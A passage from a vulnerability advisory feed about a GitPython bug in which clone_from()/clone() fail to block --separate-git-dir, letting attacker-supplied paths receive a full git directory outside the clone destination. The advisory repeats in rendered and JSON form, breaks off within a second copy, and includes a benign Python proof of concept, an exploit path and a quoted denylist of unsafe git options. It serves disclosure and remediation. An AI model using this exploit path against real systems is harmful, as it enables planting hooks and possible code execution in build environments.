So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
assert "--separate-git-dir" not in git.Repo.unsafe_git_clone_options, (
"guard now includes --separate-git-dir; PoC no longer applicable, target patched"
)
try:
repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)
except git.exc.UnsafeOptionError as e:
print("NOT VULNERABLE: blocked by UnsafeOptionError:", e)
sys.exit(1)
wrote_outside = os.path.isdir(os.path.join(target_gitdir, "hooks")) and os.path.isfile(
os.path.join(target_gitdir, "config")
)
gitlink_points_outside = False
with open(os.path.join(dest, ".git")) as f:
gitlink = f.read().strip()
gitlink_points_outside = target_gitdir in gitlink
print("repo.git_dir =", repo.git_dir)
print("wrote git directory outside dest (sentinel) =", wrote_outside)
print("dest/.git gitlink points outside dest =", gitlink_points_outside)
if wrote_outside and gitlink_points_outside:
print("VULNERABLE: git directory created at attacker-controlled path "
f"outside the clone destination: {target_gitdir}")
sys.exit(0)
else:
print("NOT VULNERABLE: sentinel not observed")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.46",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.46",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.46"
}
]
},
"details": "- **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the \"escapes intended base directory\" sense)\n- **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs.\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` \u2014 *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 \u2192 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.).\n\n`git clone` also accepts `--separate-git-dir=\u003cpath\u003e`, which redirects the repository\u0027s entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: \u003cpath\u003e`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython\u0027s own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *\"Redirects the repository metadata to a caller-controlled path\"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit:\n\n```\n:param allow_unsafe_options:\n Allow unsafe options to be used, such as ``--template`` and\n ``--separate-git-dir``.\n```\n\ni.e. the maintainers\u0027 own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**:\n\n```python\nunsafe_git_clone_options = [\n \"--upload-pack\",\n \"-u\",\n \"--config\",\n \"-c\",\n \"--template\",\n \"--bundle-uri\",\n]\n```\n\nSo any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` \u2014 e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list \u2014 gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`.\n\n## Root cause\nParity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not \u2014 despite the function\u0027s own docstring claiming otherwise. This is the same \"denylist omits an equally-dangerous sibling option\" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed).\n\n## Exploit path\n1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `\"separate-git-dir\"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`.\n2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` \u2014 no match, no `UnsafeOptionError` raised.\n3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=\u003cattacker path\u003e` and GitPython executes `git clone -v --separate-git-dir=\u003cattacker path\u003e -- \u003curl\u003e \u003cdest\u003e` via `subprocess` (no shell).\n4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path \u2014 which can be **any path outside the intended clone destination** that the process has permission to create \u2014 and leaves a gitlink file at the intended destination pointing to it.\n\n## Impact\nArbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` (\"Arbitrary Git Repository Creation Outside the Working Tree\", CVSS 8.2). Concretely:\n- Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.\n- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository\u0027s `.git`, a shared cache path, a predictable temp location), the clone silently populates/overwrites `config`, `HEAD`, `hooks/*`, `refs/*`, `packed-refs`, and `index` there \u2014 an integrity violation of a resource outside the intended destination.\n- Combined with any later operation that runs `git` against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for `--template` in `GHSA-9rj7-rf2p-w77r`.\n\n## Preconditions\n- The calling application forwards a caller-influenced value into a `separate_git_dir` kwarg of `Repo.clone_from()`/`Repo.clone()` (or into the `multi_options` list as a raw `--separate-git-dir=...` token) without itself validating/rejecting it, and does not pass `allow_unsafe_options=True` intentionally. This is the identical trust model GitPython\u0027s own denylist already defends for `--template`/`--upload-pack`/`--config`/`--bundle-uri` on the very same code path \u2014 i.e. this option was clearly meant to be covered by the same guard and was simply omitted.\n- No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.\n\n## Evidence\n- `git/repo/base.py:145-151` \u2014 `unsafe_git_init_options` includes `\"--separate-git-dir\"` with the comment \"Redirects the repository metadata to a caller-controlled path\".\n- `git/repo/base.py:153-165` \u2014 `unsafe_git_clone_options` (the list actually enforced on `_clone`) does **not** include `\"--separate-git-dir\"`.\n- `git/repo/base.py:1450-1452` \u2014 docstring of `clone_from`/`clone` explicitly documents `--separate-git-dir` as one of the options `allow_unsafe_options` is supposed to gate.\n- `git/repo/base.py:1495-1518` \u2014 `_clone()` special-cases `separate_git_dir` only to `Git.polish_url()` it (path normalization for URL-like values), then runs it through `Git.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)` \u2014 which, per the list above, does not flag it.\n- PoC (`gitpython-001-poc.py`, embedded below) run against this exact checkout confirms the option reaches the real `git clone` subprocess unguarded and creates a full git directory outside the destination path, with `allow_unsafe_options` at its default `False`.\n\n## False-positive check (adversarial re-read)\n- **Is there a value-level check that would still stop this?** No \u2014 `check_unsafe_options` only inspects option *names* (via `_canonicalize_option_name`) against the denylist; it performs no filesystem/path validation on `separate_git_dir`\u0027s value, and no other guard in `_clone()` touches this kwarg besides the `Git.polish_url()` normalization (which does not reject arbitrary paths).\n- **Is `--separate-git-dir` perhaps a no-op or safely sandboxed for `clone` specifically (unlike `init`)?** No \u2014 confirmed empirically: the option reaches the real `git` binary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path.\n- **Could this be the exact bug already covered by one of the 26 published GHSAs?** Checked all 26 entries in `_known-advisories.json` (Filter 0): `GHSA-9rj7-rf2p-w77r` covers `--template` in `Repo.init`; `GHSA-6p8h-3wgx-97gf` covers `--template` in clone (already fixed, present in `unsafe_git_clone_options`); `GHSA-hmq2-w58f-27jc` covers arbitrary repo creation via unvalidated **`.gitmodules` submodule names** (a different code path \u2014 `Submodule`, not `Repo.clone_from()` kwargs). None reference `--separate-git-dir` on the clone path. This is a distinct, currently-unpatched gap.\n- **Does this require an unrealistic precondition?** The precondition (host app forwards a kwarg into `clone_from`/`clone`) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (`--template`, `--upload-pack`, `--config`, `--bundle-uri`) \u2014 i.e. it is the same threat model the guard exists to cover, just missing one entry.\n- Verdict: no concrete blocker found. **CONFIRMED.**\n\n## Remediation\nAdd `\"--separate-git-dir\"` (and its `-` alias if git ever adds one \u2014 currently there is none) to `Repo.unsafe_git_clone_options` in `git/repo/base.py`, matching `unsafe_git_init_options`. Since `Repo._clone()` already special-cases `separate_git_dir` for `Git.polish_url()` normalization, the fix is a one-line addition to the existing list, consistent with how `GHSA-6p8h-3wgx-97gf` added `--template` to the same list.\n\n## Confidence\nHigh. Root cause is a one-line, unambiguous omission the maintainers\u0027 own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.\n\n\n## Proof-of-Concept source (`gitpython-001-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in\nunsafe_git_clone_options, so it reaches `git clone` unguarded and writes a\nfull git directory (config, hooks/, objects/, refs/, ...) to an\nattacker-controlled path OUTSIDE the intended destination directory, with\nallow_unsafe_options left at its default of False.\n\nRun against the GitPython source tree under test, e.g.:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-001-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside the given workdir. No destructive/exfiltrating\npayload. Exits non-zero and prints \"NOT VULNERABLE\" if the guard blocks the option\nor the write does not escape the destination directory.\n\"\"\"\nimport os\nimport sys\nimport subprocess\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-001-poc\"\n src = os.path.join(workdir, \"src\")\n dest = os.path.join(workdir, \"dest\")\n sentinel_dir = os.path.join(workdir, \"OUTSIDE_SENTINEL\")\n target_gitdir = os.path.join(sentinel_dir, \"redirected.git\")\n\n for p in (src, dest, sentinel_dir):\n os.makedirs(p, exist_ok=True)\n\n # Minimal benign source repo to clone from.\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", src], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.email\", \"test@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"config\", \"user.name\", \"Test\"], check=True)\n with open(os.path.join(src, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n subprocess.run([\"git\", \"-C\", src, \"add\", \"file.txt\"], check=True)\n subprocess.run([\"git\", \"-C\", src, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n\n print(\"unsafe_git_clone_options =\", git.Repo.unsafe_git_clone_options)\n assert \"--separate-git-dir\" not in git.Repo.unsafe_git_clone_options, (\n \"guard now includes --separate-git-dir; PoC no longer applicable, target patched\"\n )\n\n try:\n repo = git.Repo.clone_from(src, dest, separate_git_dir=target_gitdir)\n except git.exc.UnsafeOptionError as e:\n print(\"NOT VULNERABLE: blocked by UnsafeOptionError:\", e)\n sys.exit(1)\n\n wrote_outside = os.path.isdir(os.path.join(target_gitdir, \"hooks\")) and os.path.isfile(\n os.path.join(target_gitdir, \"config\")\n )\n gitlink_points_outside = False\n with open(os.path.join(dest, \".git\")) as f:\n gitlink = f.read().strip()\n gitlink_points_outside = target_gitdir in gitlink\n\n print(\"repo.git_dir =\", repo.git_dir)\n print(\"wrote git directory outside dest (sentinel) =\", wrote_outside)\n print(\"dest/.git gitlink points outside dest =\", gitlink_points_outside)\n\n if wrote_outside and gitlink_points_outside:\n print(\"VULNERABLE: git directory created at attacker-controlled path \"\n f\"outside the clone destination: {target_gitdir}\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: sentinel not observed\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-aider-CVE-2026-78677",
"modified": "2026-09-09T23:40:56Z",
"published": "2026-09-04T08:43:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-8mcc-hrx5-hvxc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78677"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2210"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/b68afff45af0f49e79a3e2d2162018986b37ad5d"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3787.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-separate-git-dir"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary git-directory creation outside the destination",
"upstream": [
"PYSEC-2026-3787",
"CVE-2026-78677",
"GHSA-8mcc-hrx5-hvxc"
]
}
BREW-APM-CVE-2026-78677 (PYSEC-2026-3787)
Vulnerability from osv_homebrew – Published: 2026-09-04 08:44 – Updated: 2026-09-17 18:40 – Source website- CWE: CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense)
- Affected component:
git/repo/base.py,Repo.unsafe_git_clone_options(class attribute, lines 153-165) andRepo._clone()(lines 1477-1520), reached via the publicRepo.clone_from()(line 1626) andRepo.clone()(line 1567) APIs. - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
Repo.clone_from(url, to_path, **kwargs) (and Repo.clone()) forward arbitrary keyword arguments to the underlying git clone invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (Git._option_candidates) and checks it against a denylist, Repo.unsafe_git_clone_options, via Git.check_unsafe_options() — unless the caller passes allow_unsafe_options=True. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (--template, --upload-pack, --config, --exec, --output, --index-output, --pathspec-from-file, etc.).
git clone also accepts --separate-git-dir=<path>, which redirects the repository's entire .git metadata directory to an arbitrary, caller-controlled filesystem path, leaving only a gitlink text file (gitdir: <path>) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: Repo.unsafe_git_init_options (line 145-150) blocks --separate-git-dir for Repo.init(), with the comment "Redirects the repository metadata to a caller-controlled path". The Repo._clone()/clone()/clone_from() docstring (line 1450-1452) is even more explicit:
:param allow_unsafe_options:
Allow unsafe options to be used, such as ``--template`` and
``--separate-git-dir``.
i.e. the maintainers' own documentation states that allow_unsafe_options=False (the default) is supposed to block --separate-git-dir for clone. But Repo.unsafe_git_clone_options does not contain it:
unsafe_git_clone_options = [
"--upload-pack",
"-u",
"--config",
"-c",
"--template",
"--bundle-uri",
]
So any application that forwards a separate_git_dir (or separate-git-dir) kwarg into Repo.clone_from() / Repo.clone() — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling --template/--upload-pack/--config entries in this same list — gets no protection at all for --separate-git-dir, even with the default allow_unsafe_options=False.
Root cause
Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): unsafe_git_init_options correctly lists --separate-git-dir; unsafe_git_clone_options, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for GHSA-539m-9xh6-q6rr (archive denylist missing --add-file/--add-virtual-file) and GHSA-6p8h-3wgx-97gf (clone denylist missing --template, since fixed).
Exploit path
- Attacker-controlled input reaches a
separate_git_dir=...(or equivalently"separate-git-dir") keyword argument passed intoRepo.clone_from()/Repo.clone()by the host application, withallow_unsafe_optionsleft at its defaultFalse. Git._option_candidates()renders this as--separate-git-dirandGit.check_unsafe_options()checks it againstRepo.unsafe_git_clone_options— no match, noUnsafeOptionErrorraised.Git.transform_kwargs()renders the same kwarg into the real command line as--separate-git-dir=<attacker path>and GitPython executesgit clone -v --separate-git-dir=<attacker path> -- <url> <dest>viasubprocess(no shell).gititself creates the full repository metadata tree (config,description,HEAD,hooks/,index,objects/,refs/,packed-refs,logs/) at the attacker-specified path — which can be any path outside the intended clone destination that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it.
Impact
Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity GHSA-hmq2-w58f-27jc ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely:
- Planting a git repository structure (including a hooks/ directory) at an attacker-chosen location outside the sandboxed clone destination the calling application intended to confine the operation to.
- If the attacker-chosen path collides with an existing directory the process can write into (e.g. another repository's .git, a shared cache path, a predictable temp location), the clone silently populates/overwrites config, HEAD, hooks/*, refs/*, packed-refs, and index there — an integrity violation of a resource outside the intended destination.
- Combined with any later operation that runs git against that redirected/colliding directory (common in CI/build systems that reuse or predict working-directory layouts), this can escalate to hook execution, matching the RCE class already accepted for --template in GHSA-9rj7-rf2p-w77r.
Preconditions
- The calling application forwards a caller-influenced value into a
separate_git_dirkwarg ofRepo.clone_from()/Repo.clone()(or into themulti_optionslist as a raw--separate-git-dir=...token) without itself validating/rejecting it, and does not passallow_unsafe_options=Trueintentionally. This is the identical trust model GitPython's own denylist already defends for--template/--upload-pack/--config/--bundle-urion the very same code path — i.e. this option was clearly meant to be covered by the same guard and was simply omitted. - No authentication/role requirement inside GitPython itself; the vulnerable code runs the moment the host application calls the API with the option present.
Evidence
git/repo/base.py:145-151—unsafe_git_init_optionsincludes"--separate-git-dir"with the comment "Redirects the repository metadata to a caller-controlled path".git/repo/base.py:153-165—unsafe_git_clone_options(the list actually enforced on_clone) does not include"--separate-git-dir".git/repo/base.py:1450-1452— docstring ofclone_from/cloneexplicitly documents--separate-git-diras one of the optionsallow_unsafe_optionsis supposed to gate.git/repo/base.py:1495-1518—_clone()special-casesseparate_git_dironly toGit.polish_url()it (path normalization for URL-like values), then runs it throughGit.check_unsafe_options(options=..., unsafe_options=cls.unsafe_git_clone_options)— which, per the list above, does not flag it.- PoC (
gitpython-001-poc.py, embedded below) run against this exact checkout confirms the option reaches the realgit clonesubprocess unguarded and creates a full git directory outside the destination path, withallow_unsafe_optionsat its defaultFalse.
False-positive check (adversarial re-read)
- Is there a value-level check that would still stop this? No —
check_unsafe_optionsonly inspects option names (via_canonicalize_option_name) against the denylist; it performs no filesystem/path validation onseparate_git_dir's value, and no other guard in_clone()touches this kwarg besides theGit.polish_url()normalization (which does not reject arbitrary paths). - Is
--separate-git-dirperhaps a no-op or safely sandboxed forclonespecifically (unlikeinit)? No — confirmed empirically: the option reaches the realgitbinary unmodified and git honors it exactly as documented, writing the full metadata tree to the given path. - Could this be the exact bug already covered by one of the 26 published GHSAs? Checked all 26 entries in
_known-advisories.json(Filter 0):GHSA-9rj7-rf2p-w77rcovers--templateinRepo.init;GHSA-6p8h-3wgx-97gfcovers--templatein clone (already fixed, present inunsafe_git_clone_options);GHSA-hmq2-w58f-27jccovers arbitrary repo creation via unvalidated.gitmodulessubmodule names (a different code path —Submodule, notRepo.clone_from()kwargs). None reference--separate-git-diron the clone path. This is a distinct, currently-unpatched gap. - Does this require an unrealistic precondition? The precondition (host app forwards a kwarg into
clone_from/clone) is identical to the precondition already accepted by the maintainers for the sibling entries in the same list (--template,--upload-pack,--config,--bundle-uri) — i.e. it is the same threat model the guard exists to cover, just missing one entry. - Verdict: no concrete blocker found. CONFIRMED.
Remediation
Add "--separate-git-dir" (and its - alias if git ever adds one — currently there is none) to Repo.unsafe_git_clone_options in git/repo/base.py, matching unsafe_git_init_options. Since Repo._clone() already special-cases separate_git_dir for Git.polish_url() normalization, the fix is a one-line addition to the existing list, consistent with how GHSA-6p8h-3wgx-97gf added --template to the same list.
Confidence
High. Root cause is a one-line, unambiguous omission the maintainers' own docstring contradicts; PoC reproduces cleanly and deterministically against the current HEAD; no plausible false-positive path found.
Proof-of-Concept source (gitpython-001-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-001 PoC: Repo.clone_from(separate_git_dir=...) is not in
unsafe_git_clone_options, so it reaches `git clone` unguarded and writes a
full git directory (config, hooks/, objects/, refs/, ...) to an
attacker-controlled path OUTSIDE the intended destination directory, with
allow_unsafe_options left at its default of False.
Run against the GitPython source tree under test, e.g.:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-001-poc.py <workdir>
Benign: only writes/reads inside the given workdir. No destructive/exfiltrating
payload. Exits non-zero and prints "NOT VULNERABLE" if the guard blocks the option
or the write does not escape the destination directory.
"""
import os
import sys
import subprocess
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-001-poc"
src = os.path.join(workdir, "src")
dest = os.path.join(workdir, "dest")
sentinel_dir = os.path.join(workdir, "OUTSIDE_SENTINEL")
target_gitdir = os.path.join(sentinel_dir, "redirected.git")
for p in (src, dest, sentinel_dir):
os.makedirs(p, exist_ok=True)
# Minimal benign source repo to clone from.
subprocess.run(["git", "init", "-q", "-b", "main", src], check=True)
subprocess.run(["git", "-C", src, "config", "user.email", "test@example.com"], check=True)
subprocess.run(["git", "-C", src, "config", "user.name", "Test"], check=True)
with open(os.path.join(src, "file.txt"), "w") as f:
f.write("hello\n")
subprocess.run(["git", "-C", src, "add", "file.txt"], check=True)
subprocess.run(["git", "-C", src, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
print("unsafe_git_clone_options =", git.Repo.unsafe_git_clone_options)
